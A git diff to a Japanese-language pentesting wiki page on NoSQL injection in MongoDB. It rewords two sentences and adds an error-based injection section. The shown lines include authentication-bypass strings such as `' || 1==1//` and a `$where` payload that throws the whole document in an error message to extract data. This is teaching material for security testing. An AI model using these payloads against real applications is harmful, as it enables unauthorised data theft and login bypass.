diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 3ae076d47..ab28a984e 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、クエリは同値性(`'a'=='a'`)を満たす条件によってすべてのドキュメントを返します。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。 +攻撃者は、`admin' || 'a'=='a` のような文字列を入力することでこれを悪用でき、同値性 (`'a'=='a'`) を満たす条件でクエリがすべてのドキュメントを返すようになります。これは、`' or 1=1-- -` のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または `admin' || 'a'=='a` のような入力を使用して同様のインジェクションが行えます。 ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -86,7 +86,7 @@ in JSON ### 異なるコレクションから情報を取得する -[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することが可能です。次の例では、**`users`**という**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。 +[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することが可能です。以下の例では、**`users`**という**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。 **注意:** `$lookup`および他の集約関数は、より一般的な`find()`または`findOne()`関数の代わりに`aggregate()`関数を使用して検索を実行した場合にのみ利用可能です。 ```json @@ -108,6 +108,12 @@ in JSON } ] ``` +### Error-Based Injection + +`throw new Error(JSON.stringify(this))` を `$where` 句に挿入して、サーバーサイドのJavaScriptエラーを介して完全なドキュメントを抽出します(アプリケーションがデータベースエラーを漏洩する必要があります)。例: +```json +{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } +``` ## MongoDB ペイロード リスト [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) @@ -229,5 +235,6 @@ get_password(u) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) +- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) {{#include ../banners/hacktricks-training.md}}